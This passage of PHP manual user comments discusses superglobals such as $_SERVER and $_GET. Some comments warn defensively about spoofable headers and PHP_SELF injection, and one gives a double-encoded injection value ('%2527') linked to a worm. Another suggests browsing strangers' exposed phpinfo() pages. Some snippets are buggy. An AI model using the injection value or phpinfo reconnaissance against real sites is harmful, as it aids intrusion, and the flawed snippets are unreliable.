        foreach($var as $varOne)
        {
            $name_value = explode('=', $varOne);

            //remove duplicated vars
            if($qsAdd)
            {
                if(!array_key_exists($name_value[0], $varAdd_array))
                {
                    $var_array[$name_value[0]] = $name_value[1];
                }
            }
            else
            {
                $var_array[$name_value[0]] = $name_value[1];
            }
        }
    }

    //make url with querystring
    $delimiter = "?";

    foreach($var_array as $key => $value)
    {
        $url .= $delimiter.$key."=".$value;
        $delimiter = "&";
    }

    foreach($varAdd_array as $key => $value)
    {
        $url .= $delimiter.$key."=".$value;
        $delimiter = "&";
    }

    return $url;
}

?>
gajillion at gmail dot com 24-Jun-2008 09:08
@SilentChris at gmail dot com - I'm seeing the same thing but I'm starting to believe the issue is not PHP but Apache.  It looks like Apache's rewrite module is double encoding strings with a '%' sign if they are followed by two or more other characters.  So

%25 translates correctly to '%'
%25b translates correctly to '%b'
%25ba translates incorrectly to � which when itself is run through urlencode translates to '%BA'.

Further letters translate correctly.
%25bac produces '�c', etc.

It only appears to happen on the first instance of %25 because further items are translated correctly.
SilentChris at gmail dot com 30-May-2008 05:05
SETUP: Using PHP 5.2.5 and have magic_quotes_gpc set to "Off" in php.ini (in fact, all the magic_quotes options are set to Off).

It appears that _GET / _POST / _COOKIE are all pre-urldecoding their data.  When I call urldecode on any of the variables retrieved from one of these superglobals, it comes back as though it were *double* urldecoded (which could be dangerous).

In my example, I had urlencoded a cookie with the string "%40" in it.  I urlencoded that string before caling setrawcookie().  When I got the string back from $_COOKIE on a subsequent request, it already was decoded to show %40.

I have yet to find any specific documentation about whether or not _GET/_POST/_COOKIE are auto-urldecoded, but from experience they appear to be (regardless of php.ini settings).
moochm@gmail 07-Apr-2008 09:15
When using a php script like a remote function call, I find something like this useful for setting default parameters.

<?php
/**
/* combine _GET _POST _COOKIE variables with provided default values
/* defaults - associative array of default values
/* overwrite - if true, write result to _REQUEST superglobal
/* super_globals - array of super globals to fetch values from
**/
function get_params($defaults = null, $overwrite = false, $super_globals = array('_GET', '_POST', '_COOKIE'))
{
    $ret = array();

    // fetch values from request
    foreach($super_globals as $sg)
        foreach($GLOBALS[$sg] as $k=>$v)
            $ret[$k] = $v;

    // apply defaults for missing parameters
    if($defaults) foreach($defaults as $k=>$v)
        if(!isset($ret[$k]))
            $ret[$k] = $v;

    if($overwrite)
        $_REQUEST = $ret;

    return $ret;
}

// Example: page.php?style=modern

$argv = get_params(array('id'=>42, 'style'=>'medieval'));

// $argv['id'] = 42
// $argv['style'] = 'modern'

?>
Typer85 at gmail dot com 18-Feb-2008 03:56
Note the manual entry for PHP_SELF states the following:

"The filename of the currently executing script, relative to the document root. For instance, $_SERVER['PHP_SELF'] in a script at the address http://example.com/test.php/foo.bar  would be /test.php/foo.bar."

However I did some vigorous testing on three different machines and this note is not always true. The results are given below:

Given a URL of http://www.example.com/Info.php/Page/Home

Apache 2.2.4/Win32/PHP 5.2.2/Apache 2.0 Handler
----> PHP_SELF = Info.php/Page/Home

Apache 1.3.37/Unix/PHP 5.2.2/CGI
----> PHP_SELF = Info.php

Apache 1.3.33/Unix/5.1.4/FastCGI
----> PHP_SELF = Info.php

To be completely honest, I am not sure why this is the case; perhaps there is a setting in Apache to modify this option, but in either case take careful consideration of this note.
spamtrap at scottydm dot com 12-Feb-2008 06:15
I was a little frustrated by the fact that some of the _SERVER variables didn't seem to exist, so I did a bit of Googling and found the answer: many of these variables are supplied by the web server and not all web servers supply the same set of variables.

I found a comparison between Apache v1.3.29 and IIS v5.1 on this page: http://koivi.com/apache-iis-php-server-array.php Useful for those of us doing cross-platform development.

While running experiments with different browsers I noticed some of the HTTP_* variables come and go depending on the browser used, or in the case of Opera by diddling the "user mode" (the widget that lets you look at a page as text only, etc.). For example: in IE and Opera HTTP_KEEP_ALIVE was missing, but was present in Firefox and Mozilla, and when I fiddled with Opera's "user mode" I got somethings called HTTP_TE and HTTP_CACHE_CONTROL.

So, what you get is dependent on the web server AND the browser.

I did see one IIS supplied variable not on that list: REQUEST_TIME, which seems to be in Unix timestamp format.

While researching this I discovered there are plenty of people who have their phpinfo() page visible and indexed on a few search engines. For those who want to dig a bit deeper than that nice web page comparing Apache to IIS, looking at other peoples' phpinfo() pages could be useful. You get the version of PHP plus OS and web server they use, along with all the _SERVER variables. I found the highest percent of signal-to-noise by searching for "phpinfo()" (with the quotes) on Dogpile: http://www.dogpile.com/
php-net dot ucn dot extranet dot sys at dark-chiaki dot net 13-Dec-2007 08:40
In addition to mfyahya at gmail dot com (2007-06-07 03:33):

If You are working with the Apache module mod_rewrite and want to set some environment vars, the Apache manual says this vars could be accessed in CGI using $ENV{VAR}. In PHP You might want to write $_ENV['VAR'] to get the value of VAR, but You have to access if via $_SERVER, and in some different ways:

1. Example: .htaccess and example.php

RewriteEngine on
RewriteRule ^?var1=([^;]*);var2=([^;]*)$ \
 - [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['VAR1']."\r\n"
          .$_SERVER['VAR2']); ?>

2. Example: .htaccess and index.php

RewriteEngine on
RewriteRule ^index\.php$ - [L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

<?php echo($_SERVER['REDIRECT_VAR1']."\r\n"
          .$_SERVER['REDIRECT_VAR2']); ?>

Note: If any RewriteRule matches, an internal redirect than restarts (after the last defined rule, or immediately after the matched rule having a L-flag) checking the entire rule set again. For an internal redirect every defined VAR gets an 'REDIRECT_' prefix, i.e. VAR1 will be REDIRECT_VAR1, VAR2 will be REDIRECT_VAR2.

Of course, You can (additionally) redefine the original VAR:

RewriteEngine on
RewriteRule ^index\.php$ \
 - [E=VAR1:%{REDIRECT_VAR1},E=VAR2:%{REDIRECT_VAR2},L]
RewriteRule ?var1=([^;]*);var2=([^;]*)$ \
 index.php [E=VAR1:$1,E=VAR2:$2]

With this, You will have $_SERVER['REDIRECT_VAR*'] -and- $_SERVER['VAR*'].

***

The given examples are only for explanation, in any case they are not intended to fit Your needs. The "\<CRLF><SP>" in the .htaccess examples are only for display purpose, they should not occur in a real .htaccess file. The argument separator ';' in links can also be '&', but this may cause some trouble with HTML/XHTML. See the following pages for more information about this issue:
- http://www.w3.org/TR/html4/appendix/notes.html#h-B.2.2
- http://www.w3.org/QA/2005/04/php-session
Nicolae Namolovan 22-Nov-2007 11:49
SECURITY RISK !

Never ever trust the values that comes from $_SERVER.

HTTP_X_FORWARDED, HTTP_X_FORWARDED_FOR, HTTP_FORWARDED_FOR, HTTP_FORWARDED, etc.. can be spoofed !

To get the ip of user, use only $_SERVER['REMOTE_ADDR'], otherwise the 'ip' of user can be easily changed by sending a HTTP_X_* header, so user can escape a ban or spoof a trusted ip.

Of course this is well know, but I don't see it mentioned in these notes..

If you use the ip only for tracking (not for any security features like banning or allow access to something by ip), you can also use HTTP_X_FORWARDED to get user's ip what are behind proxy.
crescentfreshpot at yahoo dot com 14-Nov-2007 10:03
In response to mathiasrav's getip() implementation on 28-Jul-2007, it should be noted that it:

- assumes IPv4 addresses only
- returns $_SERVER['REMOTE_ADDR'] for any value of $_SERVER['HTTP_CLIENT_IP'] that matches 127.0.*.*, 192.168.*.* or 10.0.*.*, which is not desirable if you actually WANT the value of HTTP_CLIENT_IP

dlyaza's prior snippet has neither of these problems.
root at mantoru dot de 01-Nov-2007 06:59
Note that some headers will be checked for validity (by Apache, I suppose) before showing up in $_SERVER -- If-Modified-Since for example.

<?php
$lastmod = gmdate('D, d M Y H:i:s', filemtime('somefile'));
header("Last-Modified: $lastmod");
?>

This WON'T work, "GMT" is missing. Internet Explorer auto-fixes this by adding GMT, while Firefox resends this data as-is. (So an If-Modified-Since-header is sent, but neither shows up in $_SERVER nor in apache_request_headers()). This would be correct:

<?php
$lastmod = gmdate('D, d M Y H:i:s', filemtime('somefile')) . 'GMT';
header("Last-Modified: $lastmod");
?>
jsan 19-Oct-2007 12:39
@White-Gandalf: one can control this behavior by setting:

UseCanonicalName On|Off

in their apache config (at least, on *ix platforms).

On => $_SERVER['SERVER_NAME'] is the ServerName var from either the global server or virtual host, whichever wraps the PHP app closest.

Off => Whatever was in the Host: header sent by the client.
White-Gandalf 16-Oct-2007 07:01
'SERVER_NAME' does NOT necessarily refer to the name of a virtual host or any other things defined in the apache config.
Instead it simply takes the value of the "Host:" entry of the HTTP-header sent by the client.
At least with apache version 2.2.5 on Windows.
phpnotes dot 20 dot zsh at spamgourmet dot com 21-Sep-2007 08:45
The headers sent by the browser will be stored in the $_SERVER array -- they will get capitalized and prefixed with HTTP. So a header like "X-Foo-Bar: Baz" will result in <?php $_SERVER['HTTP_X_FOO_BAR'] = 'Baz';?>. This is why you should use isset before using e.g. HTTP_ACCEPT_LANGUAGE, 'cause it may not be set.

The only exception I know from that is HTTP_X_ORIGINAL_URI, which is always set and holds the current URL without querystring. But you can't trust that too because it can be overriden by sending a X-Original-URI header.
andres at andresj dot ath dot cx 05-Aug-2007 09:41
To get the directory of the current script: (I think this is a little more resource-friendly, but then again with all the fast computers available, it does not matter so much...)
<?
// For the script that is running:
$script_directory = substr($_SERVER['SCRIPT_FILENAME'], 0, strrpos($_SERVER['SCRIPT_FILENAME'], '/'));
// If your script is included from another script:
$included_directory = substr(__FILE__, 0, strrpos(__FILE__, '/'));
echo $script_directory . '<br />';
echo $included_directory . '<br />';
?>
If you have a script that only includes the script written above in a directory called 'includer', and I access it from a web browser, this will be what I see:

/path/to/includer/
/path/to/included/
deceze at gmail dot YesThatsGoogleMail dot com 11-Apr-2007 07:37
If you're working with $_GET a lot and need to preserve already set variables in a link for the next page, this function is pretty handy for simplifying the process of generating a new URL:

string setUrlVariables([string var, string value], [varN, valueN], ...)

<?php

function setUrlVariables() {
  $arg = array();
  $string = "?";
  $vars = $_GET;
  for ($i = 0; $i < func_num_args(); $i++)
    $arg[func_get_arg($i)] = func_get_arg(++$i);
  foreach (array_keys($arg) as $key)
    $vars[$key] = $arg[$key];
  foreach (array_keys($vars) as $key)
    if ($vars[$key] != "") $string.= $key . "=" . $vars[$key] . "&";
  if (SID != "" && SID != "SID" && $_GET["PHPSESSID"] == "")
    $string.= htmlspecialchars(SID) . "&";

  return htmlspecialchars(substr($string, 0, -1));
}

?>

You use it like this:

<a href="nextpage.php<?php echo setUrlVariables(); ?>">Link</a>

In this case setUrlVariables() will simply add all the $_GET variables of the current page/URL and even takes care of the PHPSESSID if you use one (and didn't change the default variable name). The above HREF would complete to e.g.:

"nextpage.php?var=21&amp;PHPSESSID=BI89J"

If you supply arguments, do it like this:

<?php echo setUrlVariables("user", "foobar"); ?>

This would complete the HREF to e.g.:

"nextpage.php?user=foobar&amp;var=21&amp;PHPSESSID=BI89J"

Unsetting variables works by supplying an empty value:

<?php echo setUrlVariables("var", ""); ?>

"nextpage.php?user=foobar&amp;PHPSESSID=BI89J"

setUrlVariables() also makes sure it produces "pretty URLs", so it doesn't output any unnecessary garbage. ;)

<?php
  session_destroy();
  echo setUrlVariables("user", "");
?>

"nextpage.php"
danvasile at pentest dot ro 21-Mar-2007 12:22
If you have problems with $_SERVER['HTTPS'], especially if it returns no values at all you should check the results of phpinfo(). It might not be listed at all.
Here is a solution to check and change, if necessary, to ssl/https that will work in all cases:

<?php
if ($_SERVER['SERVER_PORT']!=443) {
$sslport=443; //whatever your ssl port is
$url = "https://". $_SERVER['SERVER_NAME'] . ":" . $sslport . $_SERVER['REQUEST_URI'];
header("Location: $url");
}
?>

Of course, this should be done before any html tag or php echo/print.
Joe Marty 24-Jan-2007 11:53
I think it is very important to note that PHP will automatically replace dots ('.') AND spaces (' ') with underscores ('_') in any incoming POST or GET (or REQUEST) variables.

This page notes the dot replacement, but not the space replacement:
http://us2.php.net/manual/en/language.variables.external.php

The reason is that '.' and ' ' are not valid characters to use in a variable name.  This is confusing to many people, because most people use the format $_POST['name'] to access these values.  In this case, the name is not used as a variable name but as an array index, in which those characters are valid.

However, if the register_globals directive is set, these names must be used as variable names.  As of now, PHP converts the names for these variables before inserting them into the external variable arrays, unfortunately - rather than leaving them as they are for the arrays and changing the names only for the variables set by register_globals.

If you want to use:
<input name="title for page3.php" type="text">

The value you will get in your POST array, for isntance would be:
$_POST['title_for_page3_php']
NeoSmart Technologies 18-Nov-2006 06:22
The *only* way to make Request_URI work as a 100% Apache-Compliant server variable on IIS/Windows is to use an Isapi Filter - as documented at http://neosmart.net/blog/archives/291 . The various steps mentioned below *completely* fail when a rewrite engine is employed, since IIS will *never* return a non-existent path (i.e. the actual pretty-URI used) via its server variables.

This also applies to accessing index.php via a folder.
For instance, calls made to /folder/ will appear as /folder/index.php and not /folder/.

The fix is to use the ISAPI filter provided at http://neosmart.net/blog/archives/291

You don't have to modify any of the actual scripts once this filter is in place - it automatically intercepts calls to REQUEST_URI and replaces them with the actual user-entered path.
me at tommygeorge dot com 09-Nov-2006 08:59
I'm sure this is elsewhere, but since 'chris dot chaudruc at gmail dot com' posted his example, I thought I would share a quick function I use to force HTTPS protocol on a page, without having to know the scripts name...

<?php
function ForceHTTPS()
{
    if( $_SERVER['HTTPS'] != "on" )
    {
       $new_url = "https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
       header("Location: $new_url");
       exit;
    }
}
?>

Correct me if part of this doesn't work right. I've always used *nix based servers for PHP, so I might not be aware of certain windows limitations. Thanks.
Alexander Hars 19-Sep-2006 02:16
If you want to use a form with multiple checkboxes (e.g. one per row) and assign the same name to each checkbox then the name needs to end with []. This tells PHP to put all checked values into an array variable.
For example:
<input type="checkbox" name="id[]" value="value_1">
<input type="checkbox" name="id[]" value="value_2">
..
<input type="checkbox" name="id[]" value="value_x">

You can now retrieve all values by using:
   $values = $_POST['id'];

If the name does not end with [], then only a single value will be available via the $_POST variable even if the user checks several checkboxes.
jameslporter at gmail dot com 05-May-2006 12:19
Refer to CanonicalName if you are not getting the ServerName in the $_SERVER[SERVER_NAME] variable....This was a pain to figure out for me...now it works as expected by turning canonical naming on.

http://www.apacheref.com/ref/http_core/UseCanonicalName.html
tchamp 26-Apr-2006 07:24
Be careful with HTTP_HOST behind a proxy server.   Use these instead.
[HTTP_X_FORWARDED_FOR]
[HTTP_X_FORWARDED_HOST]
[HTTP_X_FORWARDED_SERVER]

In my situation, I used [HTTP_X_FORWARDED_SERVER] in place of [HTTP_HOST] in order get the machine and hostname (www.myurl.com)
Ben XO 14-Apr-2006 06:18
So you have an application in your web space, with a URL such as this:

http://<host>/<installation_path>/

and pages such as

http://<host>/<installation_path>/subfolder1/subfolder2/page.php

You have a file called config.php in <installation_path> which is include()d by all pages (in subfolders or not).

How to work out <installation_path> without hard-coding it into a config file?

<?php

// this is config.php, and it is in <installation_path>
// it is included by <installation_path>/page.php
// it is included by <installation_path>/subfolder/page2.php
// etc

$_REAL_SCRIPT_DIR = realpath(dirname($_SERVER['SCRIPT_FILENAME'])); // filesystem path of this page's directory (page.php)
$_REAL_BASE_DIR = realpath(dirname(__FILE__)); // filesystem path of this file's directory (config.php)
$_MY_PATH_PART = substr( $_REAL_SCRIPT_DIR, strlen($_REAL_BASE_DIR)); // just the subfolder part between <installation_path> and the page

$INSTALLATION_PATH = $_MY_PATH_PART
    ? substr( dirname($_SERVER['SCRIPT_NAME']), 0, -strlen($_MY_PATH_PART) )
    : dirname($_SERVER['SCRIPT_NAME'])
; // we subtract the subfolder part from the end of <installation_path>, leaving us with just <installation_path> :)

?>
todd dot kisov at yahoo dot com 03-Apr-2006 02:11
To convert query string parameter values ($_GET, $_REQUEST), which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string (%uNNNN%uNNNN%uNNNN) fast and simple is to use PECL JSON extension:

function JavaScript_Unicode_URL_2_Str($js_uni_str) {
        $res = preg_replace('/%u([[:alnum:]]{4})/', '\\u\1', $js_uni_str);
        $res = str_replace('"', '\"', $res); // if in str "
        $res = json_decode('["'.$res.'"]'); // JavaScrip array with string element
        $res = $res[0];
        $res = iconv('UTF-8', ini_get('default_charset'), $res);
        return $res;
    }
31-Mar-2006 09:56
I was unable to convince my hosting company to change their installation of PHP and therefore had to find my own way to computer $_SERVER["DOCUMENT_ROOT"].  I eventually settled on the following, which is a combination of earlier notes (with some typos corrected):

<?php
if ( ! isset($_SERVER['DOCUMENT_ROOT'] ) )
  $_SERVER['DOCUMENT_ROOT'] = str_replace( '\\', '/', substr(
    $_SERVER['SCRIPT_FILENAME'], 0, 0-strlen($_SERVER['PHP_SELF']) ) );
?>
mjs at beebo dot org 30-Mar-2006 01:24
Note that PHP_SELF will not be equal to REQUEST_URI under Apache if mod_rewrite has been used to move one URL to another--PHP_SELF will contain the rewritten address, and REQUEST_URI will contain the URL the user sees in their browser.
Aardvark 07-Mar-2006 01:35
$_GET may not handle query string parameter values which include escaped Unicode values resulting from applying the JavaScript "escape" function to a Unicode string.
To handle this the query parameter value can be obtained  using a function such as:

function getQueryParameter ($strParam) {
  $aParamList = explode('&', $_SERVER['QUERY_STRING']);
  $i = 0;
  while ($i < count($aParamList)) {
    $aParam = split('=', $aParamList[$i]);
    if ($strParam == $aParam[0]) {
      return $aParam[1];
    }
  }
  return "";
}

or by directly building an array or query string values and then processing the parameter string using a function such as the "unescape" function which can be found at http://www.kanolife.com/escape/2006/03/unicode-url-escapes-in-php.html (or http://www.kanolife.com/escape/ for related info).
justin dot (nospam)george at gmail dot com 28-Feb-2006 12:00
Note that it's a very, very bad idea to append to global variables in a loop, unless you really, really mean to do so in a global context. I just a while ago hung my server with a snippet of code like this:

<?php
$host  = $_SERVER['HTTP_HOST'];
$uri  = rtrim($_SERVER['PHP_SELF'], "/\\");

$GLOBALS['SITE_ROOT'] = "http://$host$uri";

while ($i < somenumber)
readfile($GLOBALS['SITE_ROOT'] = $GLOBALS['SITE_ROOT'] . '/this/file.php');
$i++
}
?>

While it is an entertaining and unusual method of creating very long URLs and breaking servers, it's a pretty awesomely bad idea

(Especially considering that the script in question ran concurrently with others of it's type, so the value in $GLOBALS['SITE_ROOT'] was unknown.)
nathan 22-Feb-2006 08:05
Also on using IPs to look up country & city, note that what you get might not be entirely accurate.  If their ISP is based in a different city or province/state, the IPs may be owned by the head office, and used across several areas.
You also have rarer situations where they might be SSHed into another server, on the road, at work, at a friend's...  It's a nice idea, but as the example code shows, it should only be used to set defaults.
chris at vault5 dot com 30-Nov-2005 07:17
Since $_SERVER['DOCUMENT_ROOT'] is not always present, the following will provide it where $_SERVER dosen't.

<?php
function resolveDocumentRoot() {
    $current_script = dirname($_SERVER['SCRIPT_NAME']);
    $current_path   = dirname($_SERVER['SCRIPT_FILENAME']);

    /* work out how many folders we are away from document_root
       by working out how many folders deep we are from the url.
       this isn't fool proof */
    $adjust = explode("/", $current_script);
    $adjust = count($adjust)-1;

    /* move up the path with ../ */
    $traverse = str_repeat("../", $adjust);
    $adjusted_path = sprintf("%s/%s", $current_path, $traverse);

    /* real path expands the ../'s to the correct folder names */
    return realpath($adjusted_path);
}

?>

It counts the number of folders down the path we are in the URL, then moves that number of folders up the current path... end result should be the document root :)

It wont work with virtual folders or in any situation where the folder in the URL dosen't map to a real folder on the disk (like when using rewrites).
webmaster at eclipse dot org 11-Oct-2005 08:01
In response to tobias at net-clipping dot de

It is not an Apache bug.  Please read http://httpd.apache.org/docs/2.1/mod/core.html#errordocument carefully (2.1 version here, 2.0 and 1.x is similar).

In short, if your ErrorDocument start with http:// Apache sends a redirect (302) to the error document, hence losing your original referer. If your ErrorDocument points to a relative path, 404 is maintained and so are your variables.

From the Apache manual:

"Note that when you specify an ErrorDocument  that points to a remote URL (ie. anything with a method such as http in front of it), Apache will send a redirect to the client to tell it where to find the document, even if the document ends up being on the same server. This has several implications, the most important being that the client will not receive the original error status code, but instead will receive a redirect status code. This in turn can confuse web robots and other clients which try to determine if a URL is valid using the status code. In addition, if you use a remote URL in an ErrorDocument 401, the client will not know to prompt the user for a password since it will not receive the 401 status code. Therefore, if you use an ErrorDocument 401 directive then it must refer to a local document."

D.
drew dot griffiths at clare dot net 30-Sep-2005 08:51
Re: You can take advantage of 404 error to an usable redirection using REQUEST_URI ...

Whilst this is effective, a line in the .htaccess such as:

RewriteEngine On
RewriteRule ^profiles/([A-Za-z0-9-]+) showprofile.php?profile=$1 [L,NC,QSA]

will throw the requested profile in a variable $profile to the showprofile.php page.

You can further enhance the url (e.g http://servername/profiles/Jerry/homeaddress/index.htm) and the second variable value homeaddress becomes available in $url_array[3] when used below $url_array=explode("/",$_SERVER['REQUEST_URI']);

Hope this helps - Works well for me

Drew
Angelina Bell 04-Aug-2005 08:55
Warning:
$_SERVER['PHP_SELF'] and $_SERVER['SCRIPT_NAME'] may not always be set correctly.
Some web hosts implement php as a CGI in such a way that they can turn it on or off for each virtual domain.  Several $_SERVER and $_ENV variable values may be incorrect for documents in subdirectory subdomains of these virtual domains.

An include-file function or constant, instead of PHP_SELF or some other predefined variable throughout a website, will make it easier to "fix" an entire website in case something changes.
<?php
function true_url_path() {
// Pick the predefined variable that works on your server
      return $_ENV['SCRIPT_URL'];
}
?>
Or
<?php
// Pick the predefined variable that works on your server
define("TRUE_URL_PATH", $_ENV['SCRIPT_URL']);
?>
Gregory Boshoff 31-Jul-2005 02:41
$_SERVER['QUERY_STRING']

Does not contain XHTML 1.1 compliant ampersands i.e. &amp;

So you will need to do something like this if you are to use $_SERVER['QUERY_STRING'] in URL's.

//  XHTML 1.1 compliant ampersands
$_SERVER['QUERY_STRING'] =
str_replace(array('&amp;', '&'), array('&', '&amp;'),
$_SERVER['QUERY_STRING']);
New York PHP 24-Jul-2005 06:59
Warning: $_SERVER['PHP_SELF'] can include arbitrary user input. The documentation should be updated to reflect this.

The request "http://example.com/info.php/attack%20here" will run /info.php, but in Apache $_SERVER['PHP_SELF'] will equal "/info.php/attack here". This is a feature, but it means that PHP_SELF must be treated as user input.

The attack string could contain urlencoded HTML and JavaScript (cross-site scripting) or it could contain urlencoded linebreaks (HTTP response-splitting).

The use of $_SERVER['SCRIPT_NAME'] is recommended instead.
daniel at softel dot jp 15-Jul-2005 11:43
Note that $php_errormsg may contain a newline character. This can be problematic if you are trying to output it with a JavaScript "alert()" for example.
andy dot gajetzki at gmail dot com 05-Jul-2005 06:22
I wanted to be able to embed a variable in the path. This is useful when, for example, images are rendered on the fly and you would like them to have different urls.

Here is an illustration:

www.somesite.com/image.php/IMAGETEXTHERE

This would return an image with the text after "image.php/" contained in it.

I could not recall the name of this feature, so I made a work-around in PHP...

<?

function getPathVariables() {
        $sPathPS = $_SERVER[PHP_SELF];
        $sPathFS = __FILE__;

        $aPathPS = array_reverse(explode("/", $sPathPS));
        $aPathFS = array_reverse(explode("/", $sPathFS));

        $aImageArgs = array();
        $x = 0;

        while ( $aPathPS[$x] != $aPathFS[$x] && $aPathPS[$x] != $aPathFS[0] ) {
                array_unshift($aImageArgs, $aPathPS[$x])        ;
                $x++;
        }
        return $aImageArgs;

}
?>

This function will return an array containing each "/" delimited portion of the path after the script name itself.
notes at arbee dot co dot uk 27-Jun-2005 07:14
Note that $_SERVER['QUERY_STRING'] behaves differently under IIS/Apache.

In Apache (at least on Windows) it is ALWAYS set - if no query string was specified in the URL, $_SERVER['QUERY_STRING'] is initialised as an empty string.

In IIS, if no query string is included in the URL, $_SERVER['QUERY_STRING'] is NOT SET, so trying to access it without checking for its existence will generate notices.
xangelusx at hotmail dot com 13-Jun-2005 01:03
A note about the QUERY_STRING variable when using IIS:

I have found that IIS does not handle large query strings gracefully when passed from PHP. In addition to truncating them to around 1024 kb, I have seen IIS actually add data from other server variables to the end of the truncated data.

This occurred on Windows 2000 server running IIS 5.0 and PHP 4.3.8.  The problem did not occur when handled by Apache, even on another Windows server.

Note: I realize passing this much data is best accomplished using the POST method, which would avoid this problem all together. I'm merely detailing a problem that I came across.

I have created a page that includes the (very long) query string that was used and some of the results that I saw while testing. It can be viewed at http://www.csb7.com/test/php_iis_qs_limit/. I didn't want to include it here as it would stretch the page out significantly.

~Chris Bloom
mfyahya at gmail dot com 07-Jun-2005 06:33
If you use Apache's redirection features for custom error pages or whatever, the following Apache's REDIRECT variables are also available in $_SERVER:
$_SERVER['REDIRECT_UNIQUE_ID]'
$_SERVER['REDIRECT_SCRIPT_URL]'
$_SERVER['REDIRECT_SCRIPT_URI]'
$_SERVER['REDIRECT_SITE_ROOT]'
$_SERVER['REDIRECT_SITE_HTMLROOT]'
$_SERVER['REDIRECT_SITE_CGIROOT]'
$_SERVER['REDIRECT_STATUS]'
$_SERVER['REDIRECT_QUERY_STRING]'
$_SERVER['REDIRECT_URL]'

I'm not sure if this is a complete list though
exaton at free dot fr 06-May-2005 11:23
With the arrival of the Google Web Accelerator, the problem of keeping track of users through $_SERVER['REMOTE_ADDR'] (for a much shorter while than with cookies) has reared its ugly head anew.

For those confronted with this issue, remember that Google implements the $_SERVER['HTTP_X_FORWARDED_FOR'] header giving the IP address of the connection that it proxies.

Hope this helps...
inbox at tanasity dot com 13-Apr-2005 06:23
Under Windows 2000, running IIS and PHP 4.3.10, $_SERVER['SCRIPT_NAME'] is not available, however $_SERVER['SCRIPT_FILENAME'] is present and seems to contain the same information.
27-Feb-2005 06:41
Matt Johnson says that one should never urldecode() $_GET data. This is incorrect.

If magic_quotes_gpc is turned off in php.ini, then you *do* need to urldecode() $_GET data.

Having magic_quotes_gpc turned off is considered good practise.
Gregory Boshoff 13-Feb-2005 04:19
The Environment variable $ENV is useful for coding portable platform specific application constants.

// Define a Windows or else Linux root directory path
$_ENV['OS'] == 'Windows_NT' ? $path = 'L:\\www\\' : $path = ' /var/www/';

define('PATH', $path);

echo PATH;
magotes[at]netcabo.pt 11-Feb-2005 07:09
Sorry if this is old news to some, but it might not be obvious at a first glance:

If you are using $_SERVER['remote_addr'] as a way to keep track of a logged-in user (this can be useful to avoid several types of hacking), remember that it might not be the user's actual IP address!

I was trying to implement a login feature that used this, storing the IP into a DB. It went smoothly while on a LAN, but wrecked havoc when accepting outter connections.
niles AT atheos DOT net 26-Jan-2005 12:51
If your having problems returning $_SERVER variables using apache, be sure you enable:

ExtendedStatus On

in your httpd.conf file.

If it's off, then things like $_SERVER['HTTP_HOST'] won't be present.
marcus at lastcraft dot com 23-Jan-2005 04:02
The variable $php_errormsg is not populated if you have XDebug running.
dotpointer 09-Jan-2005 01:26
Running Xitami in Windows 2000 and PHP 4.3.7, nor PHP_SELF or SCRIPT_FILENAME is not availiable. Trying SCRIPT_NAME instead. Here is a function that returns the filename of a script without slashes. Good for use in HTML FORM ACTION=""-arguments...

function getThisFile() {

 /* try to use PHP_SELF first... */
 if (!empty($_SERVER['PHP_SELF'])) {
  $strScript = $_SERVER['PHP_SELF'];
 /* otherwise, try SCRIPT_NAME */
 } else if (!empty($_SERVER['SCRIPT_NAME'])) {
  $strScript = @$_SERVER['SCRIPT_NAME'];
 /* last resort - quit out and return nothing */
 } else {
  return null;
 }

 /* fint last frontslash in filename */
 $intLastSlash = strrpos($strScript, "/");

 /* check if last backslash is more far away in filename */
 if (strrpos($strScript, "\\")>$intLastSlash) {
  /* if so, use the backslash position instead */
  $intLastSlash = strrpos($strScript, "\\");
 }

 /* cut out from the last slash and to the end of the filename */
 return substr($strScript, $intLastSlash+1, strlen($strScript));
}

Tested on PHP 4.3.7/Win32 and PHP 5.0.3/Linux.
You may add more filepaths to the first if-section
to get more chances to catch up the filename if you can.
Matt Johnson 25-Dec-2004 04:50
A reminder: if you are considering using urldecode() on a $_GET variable, DON'T!

Evil PHP:

<?php
# BAD CODE! DO NOT USE!
$term = urldecode($_GET['sterm']);
?>

Good PHP:

<?php
$term = $_GET['sterm'];
?>

The webserver will arrange for $_GET to have been urldecoded once already by the time it reaches you!

Using urldecode() on $_GET can lead to extreme badness, PARTICULARLY when you are assuming "magic quotes" on GET is protecting you against quoting.

Hint: script.php?sterm=%2527 [...]

PHP "receives" this as %27, which your urldecode() will convert to "'" (the singlequote). This may be CATASTROPHIC when injecting into SQL or some PHP functions relying on escaped quotes -- magic quotes rightly cannot detect this and will not protect you!

This "common error" is one of the underlying causes of the Santy.A worm which affects phpBB < 2.0.11.
mrnopersonality at yahoo dot com 19-Oct-2004 08:13
Nothing about the message-body ...

You can get cookies, session variables, headers, the request-uri , the request method, etc but not the message body. You may want it sometimes when your page is to be requested with the POST method.

Maybe they should have mentioned $HTTP_RAW_POST_DATA or php://stdin
hfuecks at phppatterns dot com 06-Sep-2004 12:21
Using Apache/mod_ssl, there are further environment variables available to check for an SSL connection (can be more useful than $_SERVER['SERVER_PORT']), documented here: http://www.modssl.org/docs/2.8/ssl_reference.html#ToC25

To test whether the client connected with SSL I can use $_SERVER['HTTPS'] e.g (with redirect to secured, current URL);

<?php
if ( !isset($_SERVER['HTTPS']) || strtolower($_SERVER['HTTPS']) != 'on' ) {
    header ('Location: https://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
    exit();
}
?>
boaz at babylon dot com 30-Aug-2004 07:13
You can add $_SERVER["DOCUMENT_ROOT"] to IIS by editing the Environment Variables of your Windows server (was tested on WinXP SP2).

Right click on My Computer >> Properties >> Advanced.
In the System variables click on 'New' and Type in the name field 'DOCUMENT_ROOT' and in the value field  the path to your IIS document root folder.

Don't forget to restart your Windows (IIS restart won't load the new settings).
david at grant dot org dot uk 12-May-2004 05:34
$_SERVER['DOCUMENT_ROOT'] *is* supported by IIS, although only when running PHP as an ISAPI module.
youdontmeanmuch [at] yahoo.com 05-Apr-2004 09:20
Be carful when using $_SERVER['DOCUMENT_ROOT']; in your applications where you want to distribute them to other people with different server types. It isnt always supported by the webserver (IIS).
mortoray at ecircle-ag dot com 18-Dec-2003 09:32
The RAW / uninterpreted HTTP POst information can be accessed with:
    $GLOBALS['HTTP_RAW_POST_DATA']

This is useful in cases where the post Content-Type is not something PHP understands (such as text/xml).
